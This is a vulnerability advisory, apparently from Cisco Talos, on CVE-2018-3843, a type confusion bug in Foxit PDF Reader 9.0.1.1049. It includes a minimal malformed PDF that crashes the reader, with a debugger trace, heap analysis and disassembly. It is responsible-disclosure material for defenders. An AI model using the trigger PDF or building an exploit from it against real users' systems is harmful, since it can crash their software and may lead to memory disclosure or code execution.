Talos Vulnerability Report

TALOS-2018-0526

Foxit PDF Reader AssociatedFile Annotation Type Confusion

April 19, 2018
CVE Number

CVE-2018-3843

Summary

An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit PDF Reader 9.0.1.1049

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE

CWE-843 - Access of Resource Using Incompatible Type

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader.

While initially parsing a specially crafted PDF file with a malformed associated file PDF object, the use of a memory object of an incompatible type can be triggered, which initially leads to out-of-bounds memory access. A shortened version of PDF file that triggers this bug is as follows:

1 0 obj
<<
  /Pages 2 0 R
  /Type /Catalog
  /AF [ 3 0 R ]
>>
endobj


2 0 obj
<<
  /Count 1
  /Type /Pages
>>
endobj


3 0 obj  /F
<<
>>
endobj

In the above PDF, the AF dictionary in Catalog refers to object 3 0 which is expected to be of type FileSpec. A stray /F string makes the object malformed leading to the following crash while parsing:

(570.17c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=8b53c2fd ebx=13462fe8 ecx=033b772c edx=00000000 esi=13462ffc edi=0000000e
eip=01ffc94e esp=0018aa9c ebp=0018aaa0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
FoxitReader!CertFreeCertificateChain+0xab056e:
01ffc94e f77608          div     eax,dword ptr [esi+8] ds:0023:13463004=????????
0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0018aaa0 01ffc991 FoxitReader!CertFreeCertificateChain+0xab056e
01 0018aab0 01e035e1 FoxitReader!CertFreeCertificateChain+0xab05b1
02 0018aac0 01ded5c7 FoxitReader!CertFreeCertificateChain+0x8b7201
03 0018ab04 56756fa9 FoxitReader!CertFreeCertificateChain+0x8a11e7
04 0018b358 00f1e470 PlgDynLoader!PlugInMain+0x5ef9
05 0018b370 010696b8 FoxitReader+0xce470
06 0018d750 01038083 FoxitReader+0x2196b8
07 0018fb24 01043697 FoxitReader+0x1e8083
08 0018fb50 0102b074 FoxitReader+0x1f3697
09 0018fbac 0102fa5c FoxitReader+0x1db074
0a 0019f7e8 02a4e5af FoxitReader+0x1dfa5c
0b 0019f7fc 028e89ca FoxitReader!CertFreeCertificateChain+0x15021cf
0c 0019f88c 75dcef8c FoxitReader!CertFreeCertificateChain+0x139c5ea
0d 0019f898 7721367a kernel32!BaseThreadInitThunk+0xe
0e 0019f8d8 7721364d ntdll!__RtlUserThreadStart+0x70
0f 0019f8f0 00000000 ntdll!_RtlUserThreadStart+0x1b

The process crashes due to an out-of-bounds access of esi+8. Examining the memory pointed to by esi reveals the following:

0:000> !heap -p -a esi
    address 13462ffc found in
    _DPH_HEAP_ROOT @ 73c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                133c098c:         13462fe8               18 -         13462000             2000
    63398e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77276206 ntdll!RtlDebugAllocateHeap+0x00000030
    7723a127 ntdll!RtlpAllocateHeap+0x000000c4
    77205950 ntdll!RtlAllocateHeap+0x0000023a
    028eee12 FoxitReader!CertFreeCertificateChain+0x013a2a32
    01ff3ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5
    01ff3ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1
    01ff3f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31
    0169e2fc FoxitReader!CertFreeCertificateChain+0x00151f1c
    01df7fac FoxitReader!CertFreeCertificateChain+0x008abbcc
    01df9e14 FoxitReader!CertFreeCertificateChain+0x008ada34
    01dfd288 FoxitReader!CertFreeCertificateChain+0x008b0ea8
    01e04fe3 FoxitReader!CertFreeCertificateChain+0x008b8c03
    01e05299 FoxitReader!CertFreeCertificateChain+0x008b8eb9
    01e054bb FoxitReader!CertFreeCertificateChain+0x008b90db
    01e057f8 FoxitReader!CertFreeCertificateChain+0x008b9418
    01ded546 FoxitReader!CertFreeCertificateChain+0x008a1166
    01ded5a8 FoxitReader!CertFreeCertificateChain+0x008a11c8
    56756fa9 PlgDynLoader!PlugInMain+0x00005ef9
    00f1e470 FoxitReader+0x000ce470
    010696b8 FoxitReader+0x002196b8
    01038083 FoxitReader+0x001e8083
    01043697 FoxitReader+0x001f3697
    0102b074 FoxitReader+0x001db074
    0102fa5c FoxitReader+0x001dfa5c
    02a4e5af FoxitReader!CertFreeCertificateChain+0x015021cf
    028e89ca FoxitReader!CertFreeCertificateChain+0x0139c5ea
    75dcef8c kernel32!BaseThreadInitThunk+0x0000000e
    7721367a ntdll!__RtlUserThreadStart+0x00000070
    7721364d ntdll!_RtlUserThreadStart+0x0000001b

We can see that an access violation happens because esi+8 points four bytes after the end of a buffer of size 0x18. If we examine the function where the crash occurs, we can see the following:

.text:015AC93E sub_15AC93E proc near
.text:015AC93E
.text:015AC93E arg_0= dword ptr  8
.text:015AC93E arg_4= dword ptr  0Ch
.text:015AC93E
.text:015AC93E push    ebp
.text:015AC93F mov     ebp, esp
.text:015AC941 push    esi
.text:015AC942 push    [ebp+arg_0]
.text:015AC945 mov     esi, ecx                                [1]
.text:015AC947 call    sub_15AC0F8
.text:015AC94C xor     edx, edx
.text:015AC94E div     dword ptr [esi+8]                        [2]
.text:015AC951 mov     eax, [ebp+arg_4]
.text:015AC954 mov     [eax], edx
.text:015AC956 mov     esi, [esi+4]

Since this function is of type thiscall, at [1] we see a pointer to this being saved into esi. So, at the time of the crash at [2], esi is used as this. Since the allocated object is smaller, the out-of-bounds access leads to a crash if PageHeap is enabled. Without PageHeap, and if the adjacent memory is carefully manipulated, the invalid read will succeed, leading to further memory corruption. With careful memory layout manipulation and object placement, it could be possible to abuse this to leak arbitrary memory content or write to arbitrary memory.

Timeline

2018-02-12 - Vendor Disclosure
2018-04-01 - Vendor pushed release to mid April
2018-04-19 - Vendor patch released
2018-04-19 - Public disclosure

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.